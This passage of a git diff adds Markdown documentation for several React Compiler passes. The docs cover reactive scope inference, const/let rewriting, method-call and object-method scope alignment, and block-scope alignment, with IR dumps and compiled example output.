+  let y = 0;
+  while (x === 0) {
+    x = y;
+    y = props.value;
+  }
+  return [x];
+}
+```
+
+**Before InferReactivePlaces:**
+```
+bb1 (loop):
+  store x$26:TPhi:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi)
+  store y$30:TPhi:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37)
+  ...
+bb3 (block):
+  [12] mutate? $35 = LoadLocal read props$19
+  [13] mutate? $36 = PropertyLoad read $35.value
+  [14] mutate? $38 = StoreLocal Reassign mutate? y$37 = read $36
+```
+
+**After InferReactivePlaces:**
+```
+bb1 (loop):
+  store x$26:TPhi{reactive}:TPhi: phi(bb0: read x$21:TPrimitive, bb3: read x$32:TPhi{reactive})
+  store y$30:TPhi{reactive}:TPhi: phi(bb0: read y$24:TPrimitive, bb3: read y$37{reactive})
+  [6] mutate? $27:TPhi{reactive} = LoadLocal read x$26:TPhi{reactive}
+  ...
+bb3 (block):
+  [12] mutate? $35{reactive} = LoadLocal read props$19{reactive}
+  [13] mutate? $36{reactive} = PropertyLoad read $35{reactive}.value
+  [14] mutate? $38{reactive} = StoreLocal Reassign mutate? y$37{reactive} = read $36{reactive}
+```
+
+**Key observations:**
+- `props$19` is marked `{reactive}` as a function parameter
+- The reactivity propagates through the loop:
+  - First iteration: `y$37` becomes reactive from `props.value`
+  - Second iteration: `x$32` becomes reactive from `y$30` (which is reactive via the phi from `y$37`)
+  - The phi nodes `x$26` and `y$30` become reactive because their bb3 operands are reactive
+- The fixpoint algorithm handles this backward propagation through the loop correctly
+- The final output `$40` is reactive, so the array `[x]` will be memoized with `x` as a dependency
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/11-inferReactiveScopeVariables.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/11-inferReactiveScopeVariables.md
new file mode 100644
index 000000000000..e8a480b115f2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/11-inferReactiveScopeVariables.md
@@ -0,0 +1,176 @@
+# inferReactiveScopeVariables
+
+## File
+`src/ReactiveScopes/InferReactiveScopeVariables.ts`
+
+## Purpose
+This is the **1st of 4 passes** that determine how to break a React function into discrete reactive scopes (independently memoizable units of code). Its specific responsibilities are:
+
+1. **Identify operands that mutate together** - Variables that are mutated in the same instruction must be placed in the same reactive scope
+2. **Assign a unique ReactiveScope to each group** - Each disjoint set of co-mutating identifiers gets assigned a unique ScopeId
+3. **Compute the mutable range** - The scope's range is computed as the union of all member identifiers' mutable ranges
+
+The pass does NOT determine which instructions compute each scope, only which variables belong together.
+
+## Input Invariants
+- `InferMutationAliasingEffects` has run - Effects describe mutations, captures, and aliasing
+- `InferMutationAliasingRanges` has run - Each identifier has a valid `mutableRange` property
+- `InferReactivePlaces` has run - Places are marked as reactive or not
+- `RewriteInstructionKindsBasedOnReassignment` has run - Let/Const properly determined
+- All instructions have been numbered with valid `InstructionId` values
+- Phi nodes are properly constructed at block join points
+
+## Output Guarantees
+- Each identifier that is part of a mutable group has its `identifier.scope` property set to a `ReactiveScope` object
+- All identifiers in the same scope share the same `ReactiveScope` reference
+- The scope's `range` is the union (min start, max end) of all member mutable ranges
+- The scope's `range` is validated to be within [1, maxInstruction+1]
+- Identifiers that only have single-instruction lifetimes (read once) may not be assigned to a scope unless they allocate
+
+## Algorithm
+
+### Phase 1: Find Disjoint Mutable Values (`findDisjointMutableValues`)
+
+Uses a Union-Find (Disjoint Set) data structure to group identifiers that mutate together:
+
+1. **Handle Phi Nodes**: For each phi in each block:
+   - If the phi's result is mutated after creation (mutableRange.end > first instruction in block), union the phi with all its operands
+   - This ensures values that flow through control flow and are later mutated are grouped together
+
+2. **Handle Instructions**: For each instruction:
+   - Collect mutable operands based on instruction type:
+     - If lvalue has extended mutable range OR instruction may allocate, include lvalue
+     - For StoreLocal/StoreContext: Include lvalue if it has extended mutable range, include value if mutable
+     - For Destructure: Include each pattern operand with extended range, include source if mutable
+     - For MethodCall: Include all mutable operands plus the computed property (to keep method resolution in same scope)
+     - For other instructions: Include all mutable operands
+   - Exclude global variables (mutableRange.start === 0) since they cannot be recreated
+   - Union all collected operands together
+
+### Phase 2: Assign Scopes
+
+1. Iterate over all identifiers in the disjoint set using `forEach(item, groupIdentifier)`
+2. For each unique group, create a new ReactiveScope:
+   - Generate a unique ScopeId from the environment
+   - Initialize range from the first member's mutableRange
+   - Set up empty dependencies, declarations, reassignments sets
+3. For subsequent members of the same group:
+   - Expand the scope's range to encompass the member's mutableRange
+   - Merge source locations
+4. Assign the scope to each identifier: `identifier.scope = scope`
+5. Update each identifier's mutableRange to match the scope's range
+
+**Validation**: After scope assignment, validate that all scopes have valid ranges within [1, maxInstruction+1].
+
+## Key Data Structures
+
+### DisjointSet<Identifier>
+A Union-Find data structure optimized for grouping items into disjoint sets:
+
+```typescript
+class DisjointSet<T> {
+  #entries: Map<T, T>;  // Maps each item to its parent (root points to self)
+
+  union(items: Array<T>): void;     // Merge items into one set
+  find(item: T): T | null;          // Find the root of item's set (with path compression)
+  forEach(fn: (item, group) => void): void;  // Iterate all items with their group root
+}
+```
+
+Path compression is used during `find()` to flatten the tree structure, improving subsequent lookup performance.
+
+### ReactiveScope
+```typescript
+type ReactiveScope = {
+  id: ScopeId;
+  range: MutableRange;              // [start, end) instruction range
+  dependencies: Set<ReactiveScopeDependency>;  // Inputs (populated later)
+  declarations: Map<IdentifierId, ReactiveScopeDeclaration>;  // Outputs (populated later)
+  reassignments: Set<Identifier>;   // Reassigned variables (populated later)
+  earlyReturnValue: {...} | null;   // For scopes with early returns
+  merged: Set<ScopeId>;             // IDs of scopes merged into this one
+  loc: SourceLocation;
+};
+```
+
+## Edge Cases
+
+### Global Variables
+Excluded from scopes (mutableRange.start === 0) since they cannot be recreated during memoization.
+
+### Phi Nodes After Mutation
+When a phi's result is mutated after the join point, all phi operands must be in the same scope to ensure the mutation can be recomputed correctly.
+
+### MethodCall Property Resolution
+The computed property load for a method call is explicitly added to the same scope as the call itself.
+
+### Allocating Instructions
+Instructions that allocate (Array, Object, JSX, etc.) add their lvalue to the scope even if the lvalue has a single-instruction range.
+
+### Single-Instruction Ranges
+Values with range `[n, n+1)` (used exactly once) are only included if they allocate, otherwise they're just read.
+
+### enableForest Config
+When enabled, phi operands are unconditionally unioned with the phi result (even without mutation after the phi).
+
+## TODOs
+1. `// TODO: improve handling of module-scoped variables and globals` - The current approach excludes globals entirely, but a more nuanced handling could be beneficial.
+
+2. Known issue with aliasing and mutable lifetimes (from header comments):
+```javascript
+let x = {};
+let y = [];
+x.y = y; // RHS is not considered mutable here bc not further mutation
+mutate(x); // bc y is aliased here, it should still be considered mutable above
+```
+This suggests the pass may miss some co-mutation relationships when aliasing is involved.
+
+## Example
+
+### Fixture: `reactive-scope-grouping.js`
+
+**Input:**
+```javascript
+function foo() {
+  let x = {};
+  let y = [];
+  let z = {};
+  y.push(z);  // y and z co-mutate (z captured into y)
+  x.y = y;    // x and y co-mutate (y captured into x)
+  return x;
+}
+```
+
+**After InferReactiveScopeVariables:**
+```
+[1] mutate? $19_@0[1:14] = Object { }     // x's initial object, scope @0
+[2] store $21_@0[1:14] = StoreLocal x     // x in scope @0
+[3] mutate? $22_@1[3:11] = Array []       // y's array, scope @1
+[4] store $24_@1[3:11] = StoreLocal y     // y in scope @1
+[5] mutate? $25_@2 = Object { }           // z's object, scope @2
+[10] MethodCall y.push(z)                 // Mutates y, captures z
+[13] PropertyStore x.y = y                // Mutates x, captures y
+```
+
+The `y.push(z)` joins y and z into scope @1, and `x.y = y` joins x and y into scope @0. Because y is now in @0, and z was captured into y, ultimately x, y, and z all end up in the same scope @0.
+
+**Compiled Output:**
+```javascript
+function foo() {
+  const $ = _c(1);
+  let x;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    x = {};
+    const y = [];
+    const z = {};
+    y.push(z);
+    x.y = y;
+    $[0] = x;
+  } else {
+    x = $[0];
+  }
+  return x;
+}
+```
+
+All three objects (x, y, z) are created within the same memoization block because they co-mutate and could potentially alias each other.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/12-rewriteInstructionKindsBasedOnReassignment.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/12-rewriteInstructionKindsBasedOnReassignment.md
new file mode 100644
index 000000000000..556a80783cae
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/12-rewriteInstructionKindsBasedOnReassignment.md
@@ -0,0 +1,151 @@
+# rewriteInstructionKindsBasedOnReassignment
+
+## File
+`src/SSA/RewriteInstructionKindsBasedOnReassignment.ts`
+
+## Purpose
+Rewrites the `InstructionKind` of variable declaration and assignment instructions to correctly reflect whether variables should be declared as `const` or `let` in the final output. It determines this based on whether a variable is subsequently reassigned after its initial declaration.
+
+The key insight is that this pass runs **after dead code elimination (DCE)**, so a variable that was originally declared with `let` in the source (because it was reassigned) may be converted to `const` if the reassignment was removed by DCE. However, variables originally declared as `const` cannot become `let`.
+
+## Input Invariants
+- SSA form: Each identifier has a unique `IdentifierId` and `DeclarationId`
+- Dead code elimination has run: Unused assignments have been removed
+- Mutation/aliasing inference complete: Runs after `InferMutationAliasingRanges` and `InferReactivePlaces` in the main pipeline
+- All instruction kinds are initially set (typically `Let` for variables that may be reassigned)
+
+## Output Guarantees
+- **First declaration gets `Const` or `Let`**: The first `StoreLocal` for a named variable is marked as:
+  - `InstructionKind.Const` if the variable is never reassigned after
+  - `InstructionKind.Let` if the variable has subsequent reassignments
+- **Reassignments marked as `Reassign`**: Any subsequent `StoreLocal` to the same `DeclarationId` is marked as `InstructionKind.Reassign`
+- **Destructure consistency**: All places in a destructuring pattern must have consistent kinds (all Const or all Reassign)
+- **Update operations trigger Let**: `PrefixUpdate` and `PostfixUpdate` operations (like `++x` or `x--`) mark the original declaration as `Let`
+
+## Algorithm
+
+1. **Initialize declarations map**: Create a `Map<DeclarationId, LValue | LValuePattern>` to track declared variables.
+
+2. **Seed with parameters and context**: Add all named function parameters and captured context variables to the map with kind `Let` (since they're already "declared" outside the function body).
+
+3. **Process blocks in order**: Iterate through all blocks and instructions:
+
+   - **DeclareLocal**: Record the declaration in the map (invariant: must not already exist)
+
+   - **StoreLocal**:
+     - If not in map: This is the first store, add to map with `kind = Const`
+     - If already in map: This is a reassignment. Update original declaration to `Let`, set current instruction to `Reassign`
+
+   - **Destructure**:
+     - For each operand in the pattern, check if it's already declared
+     - All operands must be consistent (all new declarations OR all reassignments)
+     - Set pattern kind to `Const` for new declarations, `Reassign` for existing ones
+
+   - **PrefixUpdate / PostfixUpdate**: Look up the declaration and mark it as `Let` (these always imply reassignment)
+
+## Key Data Structures
+
+```typescript
+// Main tracking structure
+const declarations = new Map<DeclarationId, LValue | LValuePattern>();
+
+// InstructionKind enum (from HIR.ts)
+enum InstructionKind {
+  Const = 'Const',      // const declaration
+  Let = 'Let',          // let declaration
+  Reassign = 'Reassign', // reassignment to existing binding
+  Catch = 'Catch',      // catch clause binding
+  HoistedLet = 'HoistedLet',     // hoisted let
+  HoistedConst = 'HoistedConst', // hoisted const
+  HoistedFunction = 'HoistedFunction', // hoisted function
+  Function = 'Function', // function declaration
+}
+```
+
+## Edge Cases
+
+### DCE Removes Reassignment
+A `let x = 0; x = 1;` where `x = 1` is unused becomes `const x = 0;` after DCE.
+
+### Destructuring with Mixed Operands
+The invariant checks ensure all operands in a destructure pattern are either all new declarations or all reassignments. Mixed cases cause a compiler error.
+
+### Value Blocks with DCE
+There's a TODO for handling reassignment in value blocks where the original declaration was removed by DCE.
+
+### Parameters and Context Variables
+These are pre-seeded as `Let` in the declarations map since they're conceptually "declared" at function entry.
+
+### Update Expressions
+`++x` and `x--` always mark the variable as `Let`, even if used inline.
+
+## TODOs
+```typescript
+CompilerError.invariant(block.kind !== 'value', {
+  reason: `TODO: Handle reassignment in a value block where the original
+           declaration was removed by dead code elimination (DCE)`,
+  ...
+});
+```
+
+This indicates an edge case where a destructuring reassignment occurs in a value block but the original declaration was eliminated by DCE. This is currently an invariant violation rather than handled gracefully.
+
+## Example
+
+### Fixture: `reassignment.js`
+
+**Input Source:**
+```javascript
+function Component(props) {
+  let x = [];
+  x.push(props.p0);
+  let y = x;
+
+  x = [];
+  let _ = <Component x={x} />;
+
+  y.push(props.p1);
+
+  return <Component x={x} y={y} />;
+}
+```
+
+**Before Pass (InferReactivePlaces output):**
+```
+[2] StoreLocal Let x$32 = $31      // x is initially marked Let
+[9] StoreLocal Let y$40 = $39      // y is initially marked Let
+[11] StoreLocal Reassign x$43 = $42  // reassignment already marked
+```
+
+**After Pass:**
+```
+[2] StoreLocal Let x$32 = $31      // x stays Let (has reassignment at line 11)
+[9] StoreLocal Const y$40 = $39    // y becomes Const (never reassigned)
+[11] StoreLocal Reassign x$43 = $42  // stays Reassign
+```
+
+**Final Generated Code:**
+```javascript
+function Component(props) {
+  const $ = _c(4);
+  let t0;
+  if ($[0] !== props.p0 || $[1] !== props.p1) {
+    let x = [];              // let because reassigned
+    x.push(props.p0);
+    const y = x;             // const because never reassigned
+    // ... x = t1; (reassignment)
+    y.push(props.p1);
+    t0 = <Component x={x} y={y} />;
+    // ...
+  }
+  return t0;
+}
+```
+
+The pass correctly identified that `x` needs `let` (since it's reassigned on line 6 of the source) while `y` can use `const` (it's never reassigned after initialization).
+
+## Where This Pass is Called
+
+1. **Main Pipeline** (`src/Entrypoint/Pipeline.ts:322`): Called after `InferReactivePlaces` and before `InferReactiveScopeVariables`.
+
+2. **AnalyseFunctions** (`src/Inference/AnalyseFunctions.ts:58`): Called when lowering inner function expressions as part of the function analysis phase.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/13-alignMethodCallScopes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/13-alignMethodCallScopes.md
new file mode 100644
index 000000000000..8fef182c087a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/13-alignMethodCallScopes.md
@@ -0,0 +1,131 @@
+# alignMethodCallScopes
+
+## File
+`src/ReactiveScopes/AlignMethodCallScopes.ts`
+
+## Purpose
+Ensures that `MethodCall` instructions and their associated `PropertyLoad` instructions (which load the method being called) have consistent scope assignments. The pass enforces one of two invariants:
+1. Both the MethodCall lvalue and the property have the **same** reactive scope
+2. **Neither** has a reactive scope
+
+This alignment is critical because the PropertyLoad and MethodCall are semantically a single operation (`receiver.method(args)`) and must be memoized together as a unit. If they had different scopes, the generated code would incorrectly try to memoize the property load separately from the method call, which could break correctness.
+
+## Input Invariants
+- The function has been converted to HIR form
+- `inferReactiveScopeVariables` has already run, assigning initial reactive scopes to identifiers based on mutation analysis
+- Each instruction's lvalue has an `identifier.scope` that is either a `ReactiveScope` or `null`
+- For `MethodCall` instructions, the `value.property` field contains a `Place` referencing the loaded method
+
+## Output Guarantees
+After this pass runs:
+- For every `MethodCall` instruction in the function:
+  - If the lvalue has a scope AND the property has a scope, they point to the **same merged scope**
+  - If only the lvalue has a scope, the property's scope is set to match the lvalue's scope
+  - If only the property has a scope, the property's scope is set to `null` (so neither has a scope)
+- Merged scopes have their `range` extended to cover the union of the original scopes' ranges
+- Nested functions (FunctionExpression, ObjectMethod) are recursively processed
+
+## Algorithm
+
+### Phase 1: Collect Scope Relationships
+```
+For each instruction in all blocks:
+  If instruction is a MethodCall:
+    lvalueScope = instruction.lvalue.identifier.scope
+    propertyScope = instruction.value.property.identifier.scope
+
+    If both have scopes:
+      Record that these scopes should be merged (using DisjointSet.union)
+    Else if only lvalue has scope:
+      Record that property should be assigned to lvalueScope
+    Else if only property has scope:
+      Record that property should be assigned to null (no scope)
+
+  If instruction is FunctionExpression or ObjectMethod:
+    Recursively process the nested function
+```
+
+### Phase 2: Merge Scopes
+```
+For each merged scope group:
+  Pick a "root" scope
+  Extend root's range to cover all merged scopes:
+    root.range.start = min(all scope start points)
+    root.range.end = max(all scope end points)
+```
+
+### Phase 3: Apply Changes
+```
+For each instruction:
+  If lvalue was recorded for remapping:
+    Set identifier.scope to the mapped value
+  Else if identifier has a scope that was merged:
+    Set identifier.scope to the merged root scope
+```
+
+## Key Data Structures
+
+1. **`scopeMapping: Map<IdentifierId, ReactiveScope | null>`**
+   - Maps property identifier IDs to their new scope assignment
+   - Value of `null` means the scope should be removed
+
+2. **`mergedScopes: DisjointSet<ReactiveScope>`**
+   - Union-find data structure tracking scopes that need to be merged
+   - Used when both MethodCall and property have different scopes
+
+3. **`ReactiveScope`** (from HIR)
+   - Contains `range: { start: InstructionId, end: InstructionId }`
+   - The range defines which instructions are part of the scope
+
+## Edge Cases
+
+### Both Have the Same Scope Already
+No action needed (implicit in the logic).
+
+### Nested Functions
+The pass recursively processes `FunctionExpression` and `ObjectMethod` instructions to handle closures.
+
+### Multiple MethodCalls Sharing Scopes
+The DisjointSet handles transitive merging - if A merges with B, and B merges with C, all three end up in the same scope.
+
+### Property Without Scope, MethodCall Without Scope
+No action needed (both already aligned at `null`).
+
+## TODOs
+There are no explicit TODO comments in the source code.
+
+## Example
+
+### Fixture: `alias-capture-in-method-receiver.js`
+
+**Source code:**
+```javascript
+function Component() {
+  let a = someObj();
+  let x = [];
+  x.push(a);
+  return [x, a];
+}
+```
+
+**Before AlignMethodCallScopes:**
+```
+[7] store $24_@1[4:10]:TFunction = PropertyLoad capture $23_@1.push
+[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24_@1(capture $25)
+```
+- PropertyLoad result `$24_@1` has scope `@1`
+- MethodCall result `$26` has no scope (`null`)
+
+**After AlignMethodCallScopes:**
+```
+[7] store $24[4:10]:TFunction = PropertyLoad capture $23_@1.push
+[9] mutate? $26:TPrimitive = MethodCall store $23_@1.read $24(capture $25)
+```
+- PropertyLoad result `$24` now has **no scope** (the `_@1` suffix removed)
+- MethodCall result `$26` still has no scope
+
+**Why this matters:**
+Without this alignment, later passes might try to memoize the `.push` property load separately from the actual `push()` call. This would be incorrect because:
+1. Reading a method from an object and calling it are semantically one operation
+2. The property load's value (the bound method) is only valid immediately when called on the same receiver
+3. Separate memoization could lead to stale method references or incorrect this-binding
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/14-alignObjectMethodScopes.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/14-alignObjectMethodScopes.md
new file mode 100644
index 000000000000..ebb78ba16cb4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/14-alignObjectMethodScopes.md
@@ -0,0 +1,128 @@
+# alignObjectMethodScopes
+
+## File
+`src/ReactiveScopes/AlignObjectMethodScopes.ts`
+
+## Purpose
+Ensures that object method values and their enclosing object expressions share the same reactive scope. This is critical for code generation because JavaScript requires object method definitions to be inlined within their containing object literals. If the object method and object expression were in different reactive scopes (which map to different memoization blocks), the generated code would be invalid since you cannot reference an object method defined in one block from an object literal in a different block.
+
+From the file's documentation:
+> "To produce a well-formed JS program in Codegen, object methods and object expressions must be in the same ReactiveBlock as object method definitions must be inlined."
+
+## Input Invariants
+- Reactive scopes have been inferred: This pass runs after `InferReactiveScopeVariables`
+- ObjectMethod and ObjectExpression have non-null scopes: The pass asserts this with an invariant check
+- Scopes are disjoint across functions: The pass assumes that scopes do not overlap between parent and nested functions
+
+## Output Guarantees
+- ObjectMethod and ObjectExpression share the same scope: Any ObjectMethod used as a property in an ObjectExpression will have its scope merged with the ObjectExpression's scope
+- Merged scope covers both ranges: The resulting merged scope's range is expanded to cover the minimum start and maximum end of all merged scopes
+- All identifiers are repointed: All identifiers whose scopes were merged are updated to point to the canonical root scope
+- Inner functions are also processed: The pass recursively handles nested ObjectMethod and FunctionExpression values
+
+## Algorithm
+
+### Phase 1: Find Scopes to Merge (`findScopesToMerge`)
+1. Iterate through all blocks and instructions in the function
+2. Track all ObjectMethod declarations in a set by their lvalue identifier
+3. When encountering an ObjectExpression, check each operand:
+   - If an operand's identifier was previously recorded as an ObjectMethod declaration
+   - Get the scope of both the ObjectMethod operand and the ObjectExpression lvalue
+   - Assert both scopes are non-null
+   - Union these two scopes together in a DisjointSet data structure
+
+### Phase 2: Merge and Repoint Scopes (`alignObjectMethodScopes`)
+1. Recursively process inner functions first (ObjectMethod and FunctionExpression values)
+2. Canonicalize the DisjointSet to get a mapping from each scope to its root
+3. **Step 1 - Merge ranges**: For each scope that maps to a different root:
+   - Expand the root's range to encompass both the original range and the merged scope's range
+   - `root.range.start = min(scope.range.start, root.range.start)`
+   - `root.range.end = max(scope.range.end, root.range.end)`
+4. **Step 2 - Repoint identifiers**: For each instruction's lvalue:
+   - If the identifier has a scope that was merged
+   - Update the identifier's scope reference to point to the canonical root
+
+## Key Data Structures
+
+1. **DisjointSet<ReactiveScope>** - A union-find data structure that tracks which scopes should be merged together. Uses path compression for efficient `find()` operations.
+
+2. **Set<Identifier>** - Tracks which identifiers are ObjectMethod declarations, used to identify when an ObjectExpression operand is an object method.
+
+3. **ReactiveScope** - Contains:
+   - `id: ScopeId` - Unique identifier
+   - `range: MutableRange` - Start and end instruction IDs
+   - `dependencies` - Inputs to the scope
+   - `declarations` - Values produced by the scope
+
+4. **MutableRange** - Has `start` and `end` InstructionId fields that define the scope's extent.
+
+## Edge Cases
+
+### Nested Object Methods
+When an object method itself contains another object with methods, the pass recursively processes inner functions first before handling the outer function's scopes.
+
+### Multiple Object Methods in Same Object
+If an object has multiple method properties, all their scopes will be merged with the object's scope through the DisjointSet.
+
+### Object Methods in Conditional Expressions
+Object methods inside ternary expressions still need scope alignment to ensure the method and its containing object are in the same reactive block.
+
+### Method Call After Object Creation
+The pass works in conjunction with `AlignMethodCallScopes` (which runs immediately before) to ensure that method calls on objects with object methods are also properly scoped.
+
+## TODOs
+None explicitly marked in the source file.
+
+## Example
+
+### Fixture: `object-method-shorthand.js`
+
+**Input:**
+```javascript
+function Component() {
+  let obj = {
+    method() {
+      return 1;
+    },
+  };
+  return obj.method();
+}
+```
+
+**Before AlignObjectMethodScopes:**
+```
+InferReactiveScopeVariables:
+  [1] mutate? $12_@0:TObjectMethod = ObjectMethod ...    // scope @0
+  [2] mutate? $14_@1[2:7]:TObject = Object { method: ... } // scope @1 (range 2:7)
+```
+The ObjectMethod `$12` is in scope `@0` while the ObjectExpression `$14` is in scope `@1` with range `[2:7]`.
+
+**After AlignObjectMethodScopes:**
+```
+AlignObjectMethodScopes:
+  [1] mutate? $12_@0[1:7]:TObjectMethod = ObjectMethod ... // scope @0, range now 1:7
+  [2] mutate? $14_@0[1:7]:TObject = Object { method: ... } // also scope @0, range 1:7
+```
+Both identifiers are in the same scope `@0`, and the scope's range has been expanded to `[1:7]` to cover both instructions.
+
+**Final Generated Code:**
+```javascript
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const obj = {
+      method() {
+        return 1;
+      },
+    };
+    t0 = obj.method();
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+```
+
+The object literal with its method and the subsequent method call are all inside the same memoization block, producing valid JavaScript where the method definition is inlined within the object literal.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/15-alignReactiveScopesToBlockScopesHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/15-alignReactiveScopesToBlockScopesHIR.md
new file mode 100644
index 000000000000..1230ecbaa838
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/15-alignReactiveScopesToBlockScopesHIR.md
@@ -0,0 +1,177 @@
+# alignReactiveScopesToBlockScopesHIR
+
+## File
+`src/ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts`
+
+## Purpose
+This is the **2nd of 4 passes** that determine how to break a function into discrete reactive scopes (independently memoizable units of code). The pass aligns reactive scope boundaries to control flow (block scope) boundaries.
+
+The problem it solves: Prior inference passes assign reactive scopes to operands based on mutation ranges at arbitrary instruction points in the control-flow graph. However, to generate memoization blocks around instructions, scopes must be aligned to block-scope boundaries -- you cannot memoize half of a loop or half of an if-block.
+
+**Example from the source code comments:**
+```javascript
+function foo(cond, a) {
+                    // original scope end
+                         // expanded scope end
+   const x = [];    |    |
+   if (cond) {      |    |
+     ...            |    |
+     x.push(a);     <--- original scope ended here
+     ...                 |
+   }                     <--- scope must extend to here
+}
+```
+
+## Input Invariants
+- `InferReactiveScopeVariables` has run: Each identifier has been assigned a `ReactiveScope` with a `range` (start/end instruction IDs) based on mutation analysis
+- The HIR is in SSA form: Blocks have unique IDs, instructions have unique IDs, and control flow is represented with basic blocks
+- Each block has a terminal with possible successors and fallthroughs
+- Each scope has a mutable range `{start: InstructionId, end: InstructionId}` indicating when the scope is active
+
+## Output Guarantees
+- **Scopes end at valid block boundaries**: A reactive scope may only end at the same block scope level as it began. The scope's `range.end` is updated to the first instruction of the fallthrough block after any control flow structure that the scope overlaps
+- **Scopes start at valid block boundaries**: For labeled breaks (gotos to a label), scopes that extend beyond the goto have their `range.start` extended back to include the label
+- **Value blocks (ternary, logical, optional) are handled specially**: Scopes inside value blocks are extended to align with the outer block scope's instruction range
+
+## Algorithm
+
+The pass performs a single forward traversal over all blocks:
+
+### 1. Tracking Active Scopes
+- Maintains `activeScopes: Set<ReactiveScope>` - scopes whose range overlaps the current block
+- Maintains `activeBlockFallthroughRanges: Array<{range, fallthrough}>` - stack of pending block-fallthrough ranges
+
+### 2. Per-Block Processing
+For each block:
+- Prune `activeScopes` to only those that extend past the current block's start
+- If this block is a fallthrough target, pop the range from the stack and extend all active scopes' start to the range start
+
+### 3. Recording Places
+For each instruction lvalue and operand:
+- If the place has a scope, add it to `activeScopes`
+- If inside a value block, extend the scope's range to match the value block's outer range
+
+### 4. Handling Block Fallthroughs
+When a terminal has a fallthrough (not a simple branch):
+- Extend all active scopes whose `range.end > terminal.id` to at least the first instruction of the fallthrough block
+- Push the fallthrough range onto the stack for future scopes
+
+### 5. Handling Labeled Breaks (Goto)
+When encountering a goto to a label (not the natural fallthrough):
+- Find the corresponding fallthrough range on the stack
+- Extend all active scopes to span from the label start to its fallthrough end
+
+### 6. Value Block Handling
+For ternary, logical, and optional terminals:
+- Create `ValueBlockNode` to track the outer block's instruction range
+- Scopes inside value blocks inherit this range, ensuring they align to the outer block scope
+
+## Key Data Structures
+
+```typescript
+type ValueBlockNode = {
+  kind: 'node';
+  id: InstructionId;
+  valueRange: MutableRange;  // Range of outer block scope
+  children: Array<ValueBlockNode | ReactiveScopeNode>;
+};
+
+type ReactiveScopeNode = {
+  kind: 'scope';
+  id: InstructionId;
+  scope: ReactiveScope;
+};
+
+// Tracked during traversal:
+activeBlockFallthroughRanges: Array<{
+  range: InstructionRange;
+  fallthrough: BlockId;
+}>;
+activeScopes: Set<ReactiveScope>;
+valueBlockNodes: Map<BlockId, ValueBlockNode>;
+```
+
+## Edge Cases
+
+### Labeled Breaks
+When a `goto` jumps to a label (not the natural fallthrough), scopes must be extended to include the entire labeled block range, preventing the break from jumping out of the scope.
+
+### Value Blocks (Ternary/Logical/Optional)
+These create nested "value" contexts. Scopes inside must be aligned to the outer block scope's boundaries, not the value block's boundaries.
+
+### Nested Control Flow
+Deeply nested if-statements require the scope to be extended through all levels back to the outermost block where the scope started.
+
+### do-while and try/catch
+The terminal's successor might be a block (not value block), which is handled specially.
+
+## TODOs
+1. `// TODO: consider pruning activeScopes per instruction` - Currently, `activeScopes` is only pruned at block start points. Some scopes may no longer be active by the time a goto is encountered.
+
+2. `// TODO: add a variant of eachTerminalSuccessor() that visits _all_ successors, not just those that are direct successors for normal control-flow ordering.` - The current implementation uses `mapTerminalSuccessors` which may not visit all successors in all cases.
+
+## Example
+
+### Fixture: `extend-scopes-if.js`
+
+**Input:**
+```javascript
+function foo(a, b, c) {
+  let x = [];
+  if (a) {
+    if (b) {
+      if (c) {
+        x.push(0);  // Mutation of x ends here (instruction 12-13)
+      }
+    }
+  }
+  if (x.length) {  // instruction 16
+    return x;
+  }
+  return null;
+}
+```
+
+**Before AlignReactiveScopesToBlockScopesHIR:**
+```
+x$23_@0[1:13]  // Scope range 1-13
+```
+The scope for `x` ends at instruction 13 (inside the innermost if block).
+
+**After AlignReactiveScopesToBlockScopesHIR:**
+```
+x$23_@0[1:16]  // Scope range extended to 1-16
+```
+The scope is extended to instruction 16 (the first instruction after all the nested if-blocks), aligning to the block scope boundary.
+
+**Generated Code:**
+```javascript
+function foo(a, b, c) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== a || $[1] !== b || $[2] !== c) {
+    x = [];
+    if (a) {
+      if (b) {
+        if (c) {
+          x.push(0);
+        }
+      }
+    }
+    // Scope ends here, after ALL the if-blocks
+    $[0] = a;
+    $[1] = b;
+    $[2] = c;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  // Code outside the scope
+  if (x.length) {
+    return x;
+  }
+  return null;
+}
+```
+
+The memoization block correctly wraps the entire nested if-structure, not just part of it.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/16-mergeOverlappingReactiveScopesHIR.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/16-mergeOverlappingReactiveScopesHIR.md
new file mode 100644
index 000000000000..e7b008df8f3a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/16-mergeOverlappingReactiveScopesHIR.md
@@ -0,0 +1,134 @@
+# mergeOverlappingReactiveScopesHIR
+
+## File
+`src/HIR/MergeOverlappingReactiveScopesHIR.ts`
+
+## Purpose
+This pass ensures that reactive scope ranges form valid, non-overlapping blocks in the output JavaScript program. It merges reactive scopes that would otherwise be inconsistent with each other due to:
+
+1. **Overlapping ranges**: Scopes whose instruction ranges partially overlap (not disjoint and not nested) must be merged because the compiler cannot produce valid `if-else` memo blocks for overlapping scopes.
+
